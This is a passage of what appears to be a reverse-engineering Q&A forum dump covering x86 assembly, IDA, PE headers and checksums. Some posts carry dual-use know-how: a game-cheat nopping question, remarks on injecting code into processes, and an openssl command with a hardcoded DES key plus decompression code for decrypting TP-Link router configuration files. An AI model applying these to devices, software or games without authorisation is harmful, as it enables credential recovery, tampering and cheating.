languages test&#xA;the result like this    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!strcmp( a, b ) ) { do something } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see a sample program and disassembly below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; eax = -1&#xA;&amp;gt;&amp;gt;&amp;gt; print eax &amp;amp; eax&#xA;-1&#xA;&amp;gt;&amp;gt;&amp;gt; eax = 0&#xA;&amp;gt;&amp;gt;&amp;gt; print eax &amp;amp; eax&#xA;0&#xA;&amp;gt;&amp;gt;&amp;gt; eax = 1&#xA;&amp;gt;&amp;gt;&amp;gt; print eax &amp;amp; eax&#xA;1&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sample program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main (void) {&#xA;    char *first=&quot;same&quot;;char *secon=&quot;same&quot;;char *third=&quot;diff&quot;;char *forth=&quot;tiff&quot;;&#xA;    int fis = strcmp(first,secon);&#xA;    int sec = strcmp(first,third);&#xA;    int tid = strcmp(first,forth);&#xA;    printf(&quot;%8x %8x %8x\n&quot;,fis,sec,tid);&#xA;    if(!strcmp(first,secon)){&#xA;        printf(&quot;trings are same \n&quot;);&#xA;    }&#xA;    if( strcmp(first,third) == 1 ) {&#xA;        printf(&quot;second string has a chareceter that is greater than first string\n&quot;);&#xA;    }&#xA;        if( strcmp(first,forth) == -1 ) {&#xA;        printf(&quot;second string has a chareceter that is lesser than first string\n&quot;);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of main &#xA;&lt;a href=&quot;https://i.stack.imgur.com/BADDz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BADDz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-09-03T21:06:51.480" LastActivityDate="2018-09-03T21:06:51.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19240" PostTypeId="2" ParentId="19235" CreationDate="2018-09-03T13:31:04.653" Score="2" Body="&lt;p&gt;Basically, the original C code associated with this assembly code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strcmp (str1, str2)) // call strcmp and do the 'test eax, eax'&#xA;  goto error; // str1 != str2 --&amp;gt; jne 1706&#xA;&#xA;// str1 == str2&#xA;// Do legitimate code&#xA;&#xA;error:&#xA;  // Do what you need to handle the error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want a way to remember what does &lt;code&gt;test eax, eax&lt;/code&gt; it can be translated like this in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool test = (eax == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;eax&lt;/code&gt; is used to store the return code of a function, the test &lt;code&gt;test eax, eax&lt;/code&gt; is very often used to check this return code after a call (usually, this is the converse and &lt;code&gt;eax == 0&lt;/code&gt; means that an error occurred).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-09-03T17:21:16.260" LastActivityDate="2018-09-03T17:21:16.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19242" PostTypeId="2" ParentId="19234" CreationDate="2018-09-03T13:58:01.163" Score="2" Body="&lt;p&gt;&lt;code&gt;bm&lt;/code&gt; might help to match your function by some pattern. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/13359/22324&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="245" LastEditDate="2018-09-03T13:59:57.580" LastActivityDate="2018-09-03T13:59:57.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19243" PostTypeId="2" ParentId="19235" CreationDate="2018-09-03T15:36:50.500" Score="12" Body="&lt;p&gt;You might be missing the fact that &lt;em&gt;call strcmp&lt;/em&gt; will not set &lt;em&gt;ZF&lt;/em&gt; for you - it returns the result in the EAX register. But JNE instruction tests &lt;em&gt;ZF&lt;/em&gt;, and that &lt;em&gt;test eax, eax&lt;/em&gt; serves to set ZF according to EAX. (actually, the opposite way, EAX=1 -&gt; ZF=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend reading some easy book on x86 assembly, it will help you a lot.&lt;/p&gt;&#xA;" OwnerUserId="11795" LastActivityDate="2018-09-03T15:36:50.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19244" PostTypeId="2" ParentId="19234" CreationDate="2018-09-03T20:13:53.773" Score="6" Body="&lt;p&gt;they are supported if you add the special escape sequence &lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/breakpoint-syntax&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;@!&quot;  symbol &quot;&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make sure you set a resolved breakpoints not an unresolved one &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and be aware a single address may point to several instantiations of these classes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg version &#xA;Microsoft (R) Windows Debugger Version 10.0.17744.1001 X86&#xA;&#xA;lets look for some functions with angle brackets in them&#xA;&#xA;0:000&amp;gt; x /f /v windbg!*&amp;lt;*&amp;lt;*&amp;lt;*&#xA;&#xA;prv func   00b76da9            6d windbg!Debugger::Utils::SmartCleanup_______snipped&#xA;prv func   00b76e16            46 windbg!Debugger::Utils::SmartCleanup_______snipped&#xA;pub func   00b9bcd1             0 windbg!std::basic_string&amp;lt;char,std::_______snipped&#xA;snip &#xA;&#xA;&#xA;&#xA;0:000&amp;gt; bp @!&quot; windbg!Debugger::Utils::SmartCleanup_____snipped &quot;&#xA;Bp expression '@!&quot; windbg!Debugger::Utils::SmartCleanup&amp;lt;&amp;lt;lamb___snipped &quot;'    &#xA;&#xA;could not be resolved, adding deferred bp &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;0:000&amp;gt; bl&#xA;     0 e Disable Clear u             0001 (0001) (@!&quot; windbg!Debugger::Utils::SmartCleanup&amp;lt;&amp;lt;lambda_snipped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-09-03T20:32:49.033" LastActivityDate="2018-09-03T20:32:49.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19245" PostTypeId="2" ParentId="19043" CreationDate="2018-09-03T22:46:49.777" Score="2" Body="&lt;p&gt;Short answer: Because your average program will never access those values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: Peter ferrie's answer states there's usually nothing present at that offset. That is not true. The shortest possible valid header for a Portable Executable is 0xc8 long. But that's for a program with a single section, &lt;strong&gt;no imports&lt;/strong&gt; (or anything else that would require a data directory), no DOS stub and no Rich header (impossible with Visual Studio without patching the linker). The shortest header for a realistic (but still mostly academic) program with imports and two sections (real programs usually have 4–7 sections) will be at least 0x160 long. Add the default DOS stub and you're at 0x1a0. Add the Rich Header and that's typically another 0x30-0x80 bytes. In fact you rarely see PEs whose headers fit into the first 512 bytes. So at 0x100 you &lt;strong&gt;will&lt;/strong&gt; be overwriting data, however, the OS no longer uses that data once the loader is done loading the image into memory, so as long as the program doesn't use that data either(e.g. loading resources), it'll be fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably worth noting that all the offsets after 0x40 are variable, so without examining the target binary first you don't even know what you're overwriting at 0x100. Since you'll have to call VirtualProtectEx anyway (whether it's to make a data section executable or a code section writable), you might as well call VirtualAllocEx and not bother with finding code caves at all. If I had to guess why the other guy is always injecting to 0x100, I'd say it's because that way he's running from a known address (unless ASLR is enabled and the target binary is relocatable) so he doesn't have to relocate his code before injecting/make it position independent. It's lazy, sloppy, and unsafe. &lt;/p&gt;&#xA;" OwnerUserId="24983" LastEditorUserId="24983" LastEditDate="2018-09-04T14:48:46.033" LastActivityDate="2018-09-04T14:48:46.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19247" PostTypeId="1" CreationDate="2018-09-04T04:30:17.400" Score="1" ViewCount="1300" Body="&lt;p&gt;I want to know the difference between stripped binary and obfuscated binary.&lt;/p&gt;&#xA;" OwnerUserId="25545" LastActivityDate="2018-09-04T05:32:28.790" Title="What is the difference between stripped binary and obfuscated binary" Tags="|binary-analysis|obfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19248" PostTypeId="2" ParentId="19247" CreationDate="2018-09-04T04:45:48.533" Score="2" Body="&lt;p&gt;&lt;strong&gt;Stripped binary&lt;/strong&gt; is the one that compiled without debugging information [symbols, strings]. For gcc compiler it's -s flag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Obfuscated binary&lt;/strong&gt; is the one where developer deliberately chose to make part of it [or all] less readable and harder to analyse/debug/disassemble. &#xA;Obfuscation can impact:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;code&lt;/strong&gt; - when author hide some parts of code sections and specific parts of executable code using cryptors/packers/various techniques of code polymorphism etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;resources&lt;/strong&gt; - when author apply various tehnniques of obfuscation (crypto/packing/custom modification) on data (strings, data, configuration etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;complete binary&lt;/strong&gt; - when external executable/code used to completely hide presence of binary that should be hidden. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="1334" LastEditDate="2018-09-04T05:32:28.790" LastActivityDate="2018-09-04T05:32:28.790" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19249" PostTypeId="1" CreationDate="2018-09-04T08:16:31.807" Score="3" ViewCount="247" Body="&lt;p&gt;I am trying to reverse engineer an 8-bit checksum algorithm of a Chinese machine with RS485 communication and ASCII encoding.&#xA;I tried with all the algorithm I could find, but it seems that data packets don't have a standard structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!13.2210101.3&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The frame included  and all frame characters seem to be from &quot;;&quot; to &quot;Z&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!14.0000000.0A&#xA;!13.0000000.0@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess that the checksum will be linear because (4-3) = (A-@).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!13.0450000.0L&#xA;!13.3280102.5&amp;gt;&#xA;!13.6190106.7G&#xA;!131.390104.8I&#xA;!131.670101.4C&#xA;!131.960101.1B&#xA;!132.150100.4=&#xA;!132.150100.4=&#xA;!13.0680100.4&amp;lt;&#xA;!13.3540090.5M&#xA;!13.6340090.7P&#xA;!13.9230089.7X&#xA;!131.200089.8T&#xA;!131.690089.1R&#xA;!131.970088.2R&#xA;!132.260088.0I&#xA;!132.540087.3L&#xA;!132.740087.3O&#xA;!132.740087.3O&#xA;!13.0590087.3I&#xA;!13.3310094.2H&#xA;!13.6280093.3H&#xA;!13.9080093.7M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really want to go build a neutral network for solving this problem. Somebody help me please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some raw data when I changed the address from 1 to 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!03.0000000.0?&#xA;!03.1970100.3D&#xA;!03.1990113.5L&#xA;!03.2010108.9D&#xA;!03.1980099.1T&#xA;!04.0000000.0@&#xA;!04.0040168.1D&#xA;!04.0050149.9L&#xA;!04.0040173.3B&#xA;!04.0050167.7J&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25549" LastEditorUserId="22915" LastEditDate="2018-09-06T20:54:25.297" LastActivityDate="2018-09-06T20:54:25.297" Title="Guessing checksum 8 bit ASCII algorithm" Tags="|decryption|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19251" PostTypeId="1" CreationDate="2018-09-04T15:30:42.670" Score="2" ViewCount="2335" Body="&lt;p&gt;I am trying to reverse game called Assault Cube where I am gonna be making game hacks for. I using Ollydbg to reverse though I have no theoretical understanding of asm at all. I just follow online videos and just guess and play around to see what results I get. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I have found the gun function by placing breakpoints. Now I want to look inside that to find automatic shoot and no recoil. To find those I just nop one by one and see how it affects. But I have a problem I also included a picture for you guy to reference. When I nop addresses and it seems to be successful giving the results I need like automatic fire and no recoil. But when I write my hack in Visual Studio and apply the nops, compile and run. The game will crash. This is because I don’t know how to determine what is the correct start and end of the function, though nopping a set of addresses still gave me my result but when compiled it will crash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, how do I know the exact start and finish of the function even when nopping gives the result making you think you found it but once compiled you end up finding out it the right place but not the exactly right start/finish. I hope you understand what I mean. Please look at the picture I included. Thanks.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GGOGH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25553" LastEditorUserId="245" LastEditDate="2018-09-12T11:43:12.503" LastActivityDate="2018-09-12T17:38:32.263" Title="OllyDBG - Game Hacking" Tags="|debugging|game-hacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19252" PostTypeId="2" ParentId="19251" CreationDate="2018-09-04T15:56:43.793" Score="1" Body="&lt;p&gt;Important note: Reverse engineering of proprietary products can be legal issue, make sure you covered on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download IDA Free 7.0 &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Load binary you try to debug in Olly in IDA and go to the specific address you see on the picture. [Press G and enter 0x463016 for example]&lt;/li&gt;&#xA;&lt;li&gt;Let's hope it's not obfuscated and/or apply ant other techniques - you will  find yourself in address near the jnz  instruction&lt;/li&gt;&#xA;&lt;li&gt;If not already inside the function [you should see instructions in some &#xA;white cubical], then press Space button to switch to graph mode.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll up to the beginning of the function - here you have your address [put cursor on first instruction and press Space again to switch back to disassembly mode] - this will be the &lt;strong&gt;start of the function&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are multiple ways to get to the &lt;strong&gt;end of function&lt;/strong&gt; from position on the screenshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.1 Scroll down to the ret instruction in graph mode [there can be more than one!] - this will be the end of the function [or there may be multiple function exits via call or jmp instructions as well]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.2 Another way to learn the end of function is Ctrl + F9 in Olly [if i remember correctly] - it will break on first ret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.3 Another option was described here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3302/jump-back-to-the-caller&quot;&gt;Jump back to the caller&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And if you really want to RE - learn some disassembly tools together with debuggers, this will help you understand the logic :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.L.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2018-09-04T15:56:43.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19253" PostTypeId="1" AcceptedAnswerId="19254" CreationDate="2018-09-04T16:00:00.250" Score="2" ViewCount="943" Body="&lt;p&gt;Here is an example of the &lt;code&gt;bt&lt;/code&gt; instruction in a X64 Windows binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bt      eax, 18h&#xA;jnb     short loc_a&#xA;lea     rcx, String&#xA;call    cs:__imp_wprintf&#xA;mov     eax, [rbx+40h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( _bittest(&amp;amp;Mode, 0x18u) )&#xA;{&#xA;  wprintf(L&quot;String&quot;);&#xA;  Mode = Properties-&amp;gt;Mode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the &lt;code&gt;_bittest&lt;/code&gt; macro used in a IF statement? Is it similar with &lt;code&gt;if(a &amp;amp; b == b)&lt;/code&gt; or something? The code &lt;code&gt;if(a &amp;amp; b == b)&lt;/code&gt; is used for checking if a flag is present in an OR-ed flag. And from debugging, I found the above assembly code is doing something like that. &lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-09-05T12:41:05.463" Title="What is _bittest macro?" Tags="|disassembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19254" PostTypeId="2" ParentId="19253" CreationDate="2018-09-04T16:44:01.343" Score="3" Body="&lt;p&gt;It tests if the &lt;em&gt;n&lt;/em&gt;th bit is set, returns &lt;code&gt;true&lt;/code&gt; if set, &lt;code&gt;false&lt;/code&gt; if not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically the same as &lt;code&gt;if(a &amp;amp; (1 &amp;lt;&amp;lt; num_bit))&lt;/code&gt; as the argument is the number of the bit to test rather than the bit (or flag if you will) itself.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-09-04T16:44:01.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19255" PostTypeId="1" AcceptedAnswerId="19257" CreationDate="2018-09-04T16:47:33.007" Score="1" ViewCount="39" Body="&lt;p&gt;I have access to an MS SQL Server DB and I'm able to run queries on the databases. &lt;br/&gt;&#xA;But the since the database is too big, with multiple tables and each table having many columns (whose names aren't descriptive), I don't know which data is where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed I could use &lt;code&gt;nc&lt;/code&gt; or &lt;code&gt;Wireshark&lt;/code&gt; to listen to the port and learn from the backend about data in the DB (I have access to the frontend and the DB). But SQL server data traffic is encrypted. So I downloaded Microsoft Tools like &lt;code&gt;Microsoft SQL server manager&lt;/code&gt; and &lt;code&gt;Microsoft Message Analyzer&lt;/code&gt; and starting out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;br/&gt;&#xA;Are there ways to figure out &quot;which data is where&quot; in a DB?&lt;br/&gt;&#xA;What must be my approach to understand the database?&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="20542" LastActivityDate="2018-09-04T20:11:00.930" Title="Find schema and info of MS SQL Server to which I have access to" Tags="|tools|mssql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19256" PostTypeId="1" CreationDate="2018-09-04T16:59:23.290" Score="1" ViewCount="2162" Body="&lt;p&gt;When I set a hardware breakpoint I see the following dialog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wHEjK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHEjK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that &lt;strong&gt;Read&lt;/strong&gt;/&lt;strong&gt;Write&lt;/strong&gt; is meant to break into the debugger when the address that I choose for the breakpoint is read or written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that the &lt;strong&gt;Break&lt;/strong&gt; (in the &lt;strong&gt;Actions&lt;/strong&gt; tab) means to break whenever the read/write happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't understand what is the other options in the &lt;strong&gt;Actions&lt;/strong&gt; tab mean (&lt;strong&gt;Trace&lt;/strong&gt;, &lt;strong&gt;Refresh debugger memory&lt;/strong&gt;, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please explain these additional options?!&lt;/p&gt;&#xA;" OwnerUserId="25556" LastEditorUserId="245" LastEditDate="2018-09-04T20:09:54.940" LastActivityDate="2018-09-05T12:30:59.353" Title="Understand hardware breakPoint option in ida" Tags="|ida|hardware|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19257" PostTypeId="2" ParentId="19255" CreationDate="2018-09-04T20:11:00.930" Score="1" Body="&lt;p&gt;If I am not mistaken (it's some time since I worked with MS SQL), SQL Server Manager has a feature to reconstruct the database schema, delivering an ER-Diagram, including references between the tables (foreign keys), Stored Procedures etc. This assumes you can connect to the db. Once you have the db schema, this will give you an insight into its structure, and how the tables cooperate. &lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-09-04T20:11:00.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19258" PostTypeId="2" ParentId="19253" CreationDate="2018-09-05T08:16:05.327" Score="1" Body="&lt;p&gt;&lt;code&gt;bt&lt;/code&gt; is an x86 &lt;a href=&quot;https://www.felixcloutier.com/x86/BT.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;instruction&lt;/a&gt; to check if a bit is set in a number/value. It sets &lt;code&gt;CF&lt;/code&gt; flag as the value of that bit and you can use &lt;code&gt;jb&lt;/code&gt;/&lt;code&gt;jnb&lt;/code&gt;/&lt;code&gt;jc&lt;/code&gt;/&lt;code&gt;jnc&lt;/code&gt; to check if its 1/0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bt      eax, 18h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As already mentioned in @Johann's answer, its equivalent to python &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CF = (eax &amp;amp; (1 &amp;lt;&amp;lt; 0x18)) &amp;gt;&amp;gt; 0x18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added some code for you to play with it &lt;a href=&quot;https://gist.github.com/sudhackar/0f566726180ce533a4c8062b2294f021&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-09-05T08:16:05.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19259" PostTypeId="1" AcceptedAnswerId="19268" CreationDate="2018-09-05T08:29:42.180" Score="3" ViewCount="780" Body="&lt;p&gt;Seems like unpacking UPX manually is not a trivial task any more, due to ASLR and the need to recover the relocation table. So, before reinventing the wheel, I'd like to know if there's already some tool to do this.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-05T19:01:46.407" Title="Is there a tool to reconstruct .reloc section?" Tags="|windows|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19260" PostTypeId="2" ParentId="16743" CreationDate="2018-09-05T09:53:49.627" Score="4" Body="&lt;p&gt;It seems they also added compression there.&lt;br&gt;&#xA;This utility seems to decode it: &lt;br&gt;&lt;a href=&quot;https://www.nirsoft.net/utils/router_password_recovery.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nirsoft.net/utils/router_password_recovery.html&lt;/a&gt;&lt;br&gt;&#xA;Also, I'd just written my own decoder and encoder for it:&lt;br&gt;&#xA;&lt;a href=&quot;https://encode.su/threads/3005-TP-LINK-router-config-compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://encode.su/threads/3005-TP-LINK-router-config-compression&lt;/a&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Decrypting:&lt;br&gt;&#xA;&lt;b&gt;openssl enc -d -des-ecb -K 478DA50BF9E3D2CF -nopad -in conf.bin -out conf.lztp&lt;/b&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Unpacking:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct lztp_t {&#xA;  byte  hash[16];&#xA;  uint  size;&#xA;};&#xA;&#xA;uint bitbuf, bitnum;&#xA;&#xA;uint getbit( void ) {&#xA;  uint r;&#xA;  if( bitnum==0 ) {&#xA;    bitbuf = byte(get());&#xA;    bitbuf|= 256*byte(get());&#xA;    bitnum =16;&#xA;  }&#xA;  r = (bitbuf&amp;gt;&amp;gt;15)&amp;amp;1; bitbuf&amp;lt;&amp;lt;=1; bitnum--;&#xA;  return r;&#xA;}&#xA;&#xA;uint getvar( void ) {&#xA;  uint r = 1; do r = 2*r + getbit(); while( getbit() );&#xA;  return r;&#xA;}&#xA;&#xA;int decode( void ) {&#xA;  uint c,i, winptr, id, l,d;&#xA;&#xA;  enum{ winlog=16, winsize=1&amp;lt;&amp;lt;winlog, winmask=winsize-1 };&#xA;  byte win[winsize];&#xA;&#xA;  lztp_t hdr;&#xA;  for( i=0; i&amp;lt;sizeof(hdr); i++ ) if( (c=get())==-1 ) break; else ((byte*)&amp;amp;hdr)[i]=c;&#xA;  if( c==-1 ) return -1;&#xA;&#xA;  winptr=0; bitbuf=0; bitnum=1;&#xA;  while( winptr&amp;lt;hdr.size ) {&#xA;    id = getbit();&#xA;    if( id==0 ) {&#xA;      // literal&#xA;      c = byte(get());&#xA;      put( win[(winptr++)&amp;amp;winmask]=c );&#xA;    } else {&#xA;      // match&#xA;      l = getvar()-2+4;&#xA;      d = (getvar()-2)*256;&#xA;      d+= byte(get()) + 1;&#xA;      while( l-- ) {&#xA;        c = win[(winptr-d)&amp;amp;winmask];&#xA;        put( win[(winptr++)&amp;amp;winmask]=c );&#xA;      }&#xA;    } // if id&#xA;  } // while&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compression algorithm is similar to LZSS - has interleaved streams of&#xA;bits and bytes, rather than a single bit stream like eg. deflate.&#xA;But unlike LZSS, also uses bit stream/bitcode for length and distance&#xA;values.&lt;/p&gt;&#xA;" OwnerUserId="25563" LastEditorUserId="25563" LastEditDate="2019-08-06T19:33:23.427" LastActivityDate="2019-08-06T19:33:23.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19261" PostTypeId="1" CreationDate="2018-09-05T10:09:17.810" Score="1" ViewCount="706" Body="&lt;p&gt;I have a software which writes some data to specific location in memory depending on user choices.&#xA;Say i can have 2 choices, A &amp;amp; B.&#xA;I want to run IDA, set option A and save all the data, then run it again with option B and save and after that compare the 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2020-08-27T09:17:41.437" Title="IDA PRO - compare running process" Tags="|ida|debugging|patch-reversing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19263" PostTypeId="2" ParentId="19261" CreationDate="2018-09-05T10:56:51.510" Score="1" Body="&lt;p&gt;You may collect code coverage in both cases and then make a diff via ida plugin like &lt;a href=&quot;https://github.com/gaasedelen/lighthouse&quot; rel=&quot;nofollow noreferrer&quot;&gt;lighthouse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-05T10:56:51.510" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19265" PostTypeId="2" ParentId="19256" CreationDate="2018-09-05T12:30:59.353" Score="3" Body="&lt;p&gt;The options are explained in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1407.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;the help&lt;/a&gt; but I guess it could be a little laconic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actions in Actions group are performed whenever the breakpoint is triggered (also expressed as &lt;em&gt;hit&lt;/em&gt; or &lt;em&gt;fired&lt;/em&gt;), &lt;strong&gt;and&lt;/strong&gt; the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1488.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;condition&lt;/a&gt; (if specified) is satisfied. The actions explained:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Break: Suspend the debugged application (default action). You might want to turn it off if you peform some work in the condition script and do not actually need to suspend the app (but a better approach would 